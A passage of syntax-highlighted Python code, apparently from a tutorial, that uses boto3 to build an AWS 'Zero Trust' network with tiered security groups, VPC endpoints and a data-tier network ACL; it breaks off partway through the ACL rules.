        <span class="sh">"""</span><span class="s">Create security groups with Zero Trust principles</span><span class="sh">"""</span>
        
        <span class="n">security_groups</span> <span class="o">=</span> <span class="p">{}</span>
        
        <span class="c1"># Web tier security group
</span>        <span class="n">web_sg</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">create_security_group</span><span class="p">(</span>
            <span class="n">vpc_id</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
            <span class="n">name</span><span class="o">=</span><span class="sh">'</span><span class="s">ZeroTrust-Web-SG</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Web tier with restricted access</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">rules</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ingress</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">protocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">tcp</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">port</span><span class="sh">'</span><span class="p">:</span> <span class="mi">443</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">source</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">0.0.0.0/0</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">HTTPS from anywhere</span><span class="sh">'</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ingress</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">protocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">tcp</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">port</span><span class="sh">'</span><span class="p">:</span> <span class="mi">80</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">source</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">0.0.0.0/0</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">HTTP redirect to HTTPS</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        <span class="n">security_groups</span><span class="p">[</span><span class="sh">'</span><span class="s">web</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">web_sg</span>
        
        <span class="c1"># Application tier security group
</span>        <span class="n">app_sg</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">create_security_group</span><span class="p">(</span>
            <span class="n">vpc_id</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
            <span class="n">name</span><span class="o">=</span><span class="sh">'</span><span class="s">ZeroTrust-App-SG</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Application tier with web tier access only</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">rules</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ingress</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">protocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">tcp</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">port</span><span class="sh">'</span><span class="p">:</span> <span class="mi">8080</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">source_sg</span><span class="sh">'</span><span class="p">:</span> <span class="n">web_sg</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">App port from web tier</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        <span class="n">security_groups</span><span class="p">[</span><span class="sh">'</span><span class="s">app</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">app_sg</span>
        
        <span class="c1"># Database tier security group
</span>        <span class="n">db_sg</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">create_security_group</span><span class="p">(</span>
            <span class="n">vpc_id</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
            <span class="n">name</span><span class="o">=</span><span class="sh">'</span><span class="s">ZeroTrust-DB-SG</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Database tier with app tier access only</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">rules</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ingress</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">protocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">tcp</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">port</span><span class="sh">'</span><span class="p">:</span> <span class="mi">5432</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">source_sg</span><span class="sh">'</span><span class="p">:</span> <span class="n">app_sg</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">PostgreSQL from app tier</span><span class="sh">'</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ingress</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">protocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">tcp</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">port</span><span class="sh">'</span><span class="p">:</span> <span class="mi">3306</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">source_sg</span><span class="sh">'</span><span class="p">:</span> <span class="n">app_sg</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">MySQL from app tier</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        <span class="n">security_groups</span><span class="p">[</span><span class="sh">'</span><span class="s">database</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">db_sg</span>
        
        <span class="c1"># Management tier security group
</span>        <span class="n">mgmt_sg</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">create_security_group</span><span class="p">(</span>
            <span class="n">vpc_id</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
            <span class="n">name</span><span class="o">=</span><span class="sh">'</span><span class="s">ZeroTrust-Mgmt-SG</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">description</span><span class="o">=</span><span class="sh">'</span><span class="s">Management access with strict controls</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">rules</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ingress</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">protocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">tcp</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">port</span><span class="sh">'</span><span class="p">:</span> <span class="mi">22</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">source</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">10.0.31.0/24</span><span class="sh">'</span><span class="p">,</span>  <span class="c1"># Management subnet only
</span>                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SSH from management subnet</span><span class="sh">'</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ingress</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">protocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">tcp</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">port</span><span class="sh">'</span><span class="p">:</span> <span class="mi">3389</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">source</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">10.0.31.0/24</span><span class="sh">'</span><span class="p">,</span>  <span class="c1"># Management subnet only
</span>                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">RDP from management subnet</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        <span class="n">security_groups</span><span class="p">[</span><span class="sh">'</span><span class="s">management</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">mgmt_sg</span>
        
        <span class="k">return</span> <span class="n">security_groups</span>
    
    <span class="k">def</span> <span class="nf">create_security_group</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">vpc_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">name</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">description</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">rules</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="n">Dict</span><span class="p">])</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create individual security group with specified rules</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Create security group
</span>            <span class="n">response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_security_group</span><span class="p">(</span>
                <span class="n">GroupName</span><span class="o">=</span><span class="n">name</span><span class="p">,</span>
                <span class="n">Description</span><span class="o">=</span><span class="n">description</span><span class="p">,</span>
                <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
                <span class="n">TagSpecifications</span><span class="o">=</span><span class="p">[</span>
                    <span class="p">{</span>
                        <span class="sh">'</span><span class="s">ResourceType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">security-group</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                            <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="n">name</span><span class="p">},</span>
                            <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">true</span><span class="sh">'</span><span class="p">}</span>
                        <span class="p">]</span>
                    <span class="p">}</span>
                <span class="p">]</span>
            <span class="p">)</span>
            
            <span class="n">sg_id</span> <span class="o">=</span> <span class="n">response</span><span class="p">[</span><span class="sh">'</span><span class="s">GroupId</span><span class="sh">'</span><span class="p">]</span>
            
            <span class="c1"># Add ingress rules
</span>            <span class="k">for</span> <span class="n">rule</span> <span class="ow">in</span> <span class="n">rules</span><span class="p">:</span>
                <span class="k">if</span> <span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">ingress</span><span class="sh">'</span><span class="p">:</span>
                    <span class="k">if</span> <span class="sh">'</span><span class="s">source_sg</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">rule</span><span class="p">:</span>
                        <span class="c1"># Security group source
</span>                        <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">authorize_security_group_ingress</span><span class="p">(</span>
                            <span class="n">GroupId</span><span class="o">=</span><span class="n">sg_id</span><span class="p">,</span>
                            <span class="n">IpPermissions</span><span class="o">=</span><span class="p">[</span>
                                <span class="p">{</span>
                                    <span class="sh">'</span><span class="s">IpProtocol</span><span class="sh">'</span><span class="p">:</span> <span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">protocol</span><span class="sh">'</span><span class="p">],</span>
                                    <span class="sh">'</span><span class="s">FromPort</span><span class="sh">'</span><span class="p">:</span> <span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">port</span><span class="sh">'</span><span class="p">],</span>
                                    <span class="sh">'</span><span class="s">ToPort</span><span class="sh">'</span><span class="p">:</span> <span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">port</span><span class="sh">'</span><span class="p">],</span>
                                    <span class="sh">'</span><span class="s">UserIdGroupPairs</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                                        <span class="p">{</span>
                                            <span class="sh">'</span><span class="s">GroupId</span><span class="sh">'</span><span class="p">:</span> <span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">source_sg</span><span class="sh">'</span><span class="p">],</span>
                                            <span class="sh">'</span><span class="s">Description</span><span class="sh">'</span><span class="p">:</span> <span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">]</span>
                                        <span class="p">}</span>
                                    <span class="p">]</span>
                                <span class="p">}</span>
                            <span class="p">]</span>
                        <span class="p">)</span>
                    <span class="k">else</span><span class="p">:</span>
                        <span class="c1"># CIDR source
</span>                        <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">authorize_security_group_ingress</span><span class="p">(</span>
                            <span class="n">GroupId</span><span class="o">=</span><span class="n">sg_id</span><span class="p">,</span>
                            <span class="n">IpPermissions</span><span class="o">=</span><span class="p">[</span>
                                <span class="p">{</span>
                                    <span class="sh">'</span><span class="s">IpProtocol</span><span class="sh">'</span><span class="p">:</span> <span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">protocol</span><span class="sh">'</span><span class="p">],</span>
                                    <span class="sh">'</span><span class="s">FromPort</span><span class="sh">'</span><span class="p">:</span> <span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">port</span><span class="sh">'</span><span class="p">],</span>
                                    <span class="sh">'</span><span class="s">ToPort</span><span class="sh">'</span><span class="p">:</span> <span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">port</span><span class="sh">'</span><span class="p">],</span>
                                    <span class="sh">'</span><span class="s">IpRanges</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                                        <span class="p">{</span>
                                            <span class="sh">'</span><span class="s">CidrIp</span><span class="sh">'</span><span class="p">:</span> <span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">source</span><span class="sh">'</span><span class="p">],</span>
                                            <span class="sh">'</span><span class="s">Description</span><span class="sh">'</span><span class="p">:</span> <span class="n">rule</span><span class="p">[</span><span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">]</span>
                                        <span class="p">}</span>
                                    <span class="p">]</span>
                                <span class="p">}</span>
                            <span class="p">]</span>
                        <span class="p">)</span>
            
            <span class="k">return</span> <span class="n">sg_id</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to create security group </span><span class="si">{</span><span class="n">name</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="sh">''</span>
    
    <span class="k">def</span> <span class="nf">create_vpc_endpoints</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">vpc_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">private_subnets</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="nb">str</span><span class="p">])</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create VPC endpoints for secure service access</span><span class="sh">"""</span>
        
        <span class="n">endpoints</span> <span class="o">=</span> <span class="p">{}</span>
        
        <span class="c1"># S3 Gateway endpoint
</span>        <span class="k">try</span><span class="p">:</span>
            <span class="n">s3_endpoint</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_vpc_endpoint</span><span class="p">(</span>
                <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
                <span class="n">ServiceName</span><span class="o">=</span><span class="sh">'</span><span class="s">com.amazonaws.us-east-1.s3</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">VpcEndpointType</span><span class="o">=</span><span class="sh">'</span><span class="s">Gateway</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">PolicyDocument</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">({</span>
                    <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span>
                            <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
                            <span class="sh">"</span><span class="s">Principal</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                            <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                                <span class="sh">"</span><span class="s">s3:GetObject</span><span class="sh">"</span><span class="p">,</span>
                                <span class="sh">"</span><span class="s">s3:PutObject</span><span class="sh">"</span><span class="p">,</span>
                                <span class="sh">"</span><span class="s">s3:ListBucket</span><span class="sh">"</span>
                            <span class="p">],</span>
                            <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                            <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                                <span class="sh">"</span><span class="s">StringEquals</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                                    <span class="sh">"</span><span class="s">aws:PrincipalTag/ZeroTrustVerified</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">true</span><span class="sh">"</span>
                                <span class="p">}</span>
                            <span class="p">}</span>
                        <span class="p">}</span>
                    <span class="p">]</span>
                <span class="p">})</span>
            <span class="p">)</span>
            <span class="n">endpoints</span><span class="p">[</span><span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">s3_endpoint</span><span class="p">[</span><span class="sh">'</span><span class="s">VpcEndpoint</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">VpcEndpointId</span><span class="sh">'</span><span class="p">]</span>
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to create S3 endpoint: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="c1"># Interface endpoints for AWS services
</span>        <span class="n">interface_services</span> <span class="o">=</span> <span class="p">[</span>
            <span class="sh">'</span><span class="s">ec2</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">ssm</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">ssmmessages</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">ec2messages</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">kms</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">secretsmanager</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">monitoring</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">logs</span><span class="sh">'</span>
        <span class="p">]</span>
        
        <span class="k">for</span> <span class="n">service</span> <span class="ow">in</span> <span class="n">interface_services</span><span class="p">:</span>
            <span class="k">try</span><span class="p">:</span>
                <span class="n">endpoint</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_vpc_endpoint</span><span class="p">(</span>
                    <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
                    <span class="n">ServiceName</span><span class="o">=</span><span class="sa">f</span><span class="sh">'</span><span class="s">com.amazonaws.us-east-1.</span><span class="si">{</span><span class="n">service</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
                    <span class="n">VpcEndpointType</span><span class="o">=</span><span class="sh">'</span><span class="s">Interface</span><span class="sh">'</span><span class="p">,</span>
                    <span class="n">SubnetIds</span><span class="o">=</span><span class="n">private_subnets</span><span class="p">,</span>
                    <span class="n">PolicyDocument</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">({</span>
                        <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                            <span class="p">{</span>
                                <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
                                <span class="sh">"</span><span class="s">Principal</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                                <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                                <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                                <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                                    <span class="sh">"</span><span class="s">StringEquals</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                                        <span class="sh">"</span><span class="s">aws:PrincipalTag/ZeroTrustVerified</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">true</span><span class="sh">"</span>
                                    <span class="p">}</span>
                                <span class="p">}</span>
                            <span class="p">}</span>
                        <span class="p">]</span>
                    <span class="p">})</span>
                <span class="p">)</span>
                <span class="n">endpoints</span><span class="p">[</span><span class="n">service</span><span class="p">]</span> <span class="o">=</span> <span class="n">endpoint</span><span class="p">[</span><span class="sh">'</span><span class="s">VpcEndpoint</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">VpcEndpointId</span><span class="sh">'</span><span class="p">]</span>
            <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
                <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to create </span><span class="si">{</span><span class="n">service</span><span class="si">}</span><span class="s"> endpoint: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">endpoints</span>
    
    <span class="k">def</span> <span class="nf">configure_network_acls</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">vpc_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">subnets</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Configure Network ACLs for additional layer of security</span><span class="sh">"""</span>
        
        <span class="n">network_acls</span> <span class="o">=</span> <span class="p">{}</span>
        
        <span class="c1"># Create restrictive NACL for data tier
</span>        <span class="k">try</span><span class="p">:</span>
            <span class="n">data_nacl</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">create_network_acl</span><span class="p">(</span>
                <span class="n">VpcId</span><span class="o">=</span><span class="n">vpc_id</span><span class="p">,</span>
                <span class="n">TagSpecifications</span><span class="o">=</span><span class="p">[</span>
                    <span class="p">{</span>
                        <span class="sh">'</span><span class="s">ResourceType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">network-acl</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                            <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ZeroTrust-Data-NACL</span><span class="sh">'</span><span class="p">},</span>
                            <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Tier</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">data</span><span class="sh">'</span><span class="p">}</span>
                        <span class="p">]</span>
                    <span class="p">}</span>
                <span class="p">]</span>
            <span class="p">)</span>
            
            <span class="n">nacl_id</span> <span class="o">=</span> <span class="n">data_nacl</span><span class="p">[</span><span class="sh">'</span><span class="s">NetworkAcl</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">NetworkAclId</span><span class="sh">'</span><span class="p">]</span>
            
            <span class="c1"># Add restrictive rules for data tier
</span>            <span class="n">self</span><span class="p">.</span><span class="nf">add_nacl_rules</span><span class="p">(</span><span class="n">nacl_id</span><span class="p">,</span> <span class="sh">'</span><span class="s">data</span><span class="sh">'</span><span class="p">)</span>
            
            <span class="c1"># Associate with data subnets
</span>            <span class="k">for</span> <span class="n">subnet_id</span> <span class="ow">in</span> <span class="n">subnets</span><span class="p">[</span><span class="sh">'</span><span class="s">data</span><span class="sh">'</span><span class="p">]:</span>
                <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">associate_network_acl</span><span class="p">(</span>
                    <span class="n">NetworkAclId</span><span class="o">=</span><span class="n">nacl_id</span><span class="p">,</span>
                    <span class="n">SubnetId</span><span class="o">=</span><span class="n">subnet_id</span>
                <span class="p">)</span>
            
            <span class="n">network_acls</span><span class="p">[</span><span class="sh">'</span><span class="s">data</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">nacl_id</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to create data tier NACL: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">network_acls</span>
    
    <span class="k">def</span> <span class="nf">add_nacl_rules</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">nacl_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">tier</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Add appropriate NACL rules based on tier</span><span class="sh">"""</span>
        
        <span class="k">if</span> <span class="n">tier</span> <span class="o">==</span> <span class="sh">'</span><span class="s">data</span><span class="sh">'</span><span class="p">:</span>
            <span class="c1"># Allow inbound database traffic from app tier
</span>            <span class="n">rules</span> <span class="o">=</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">rule_number</span><span class="sh">'</span><span class="p">:</span> <span class="mi">100</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">protocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">6</span><span class="sh">'</span><span class="p">,</span>  <span class="c1"># TCP
</span>                    <span class="sh">'</span><span class="s">rule_action</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">allow</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">port_range</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span><span class="sh">'</span><span class="s">From</span><span class="sh">'</span><span class="p">:</span> <span class="mi">5432</span><span class="p">,</span> <span class="sh">'</span><span class="s">To</span><span class="sh">'</span><span class="p">:</span> <span class="mi">5432</span><span class="p">},</span>
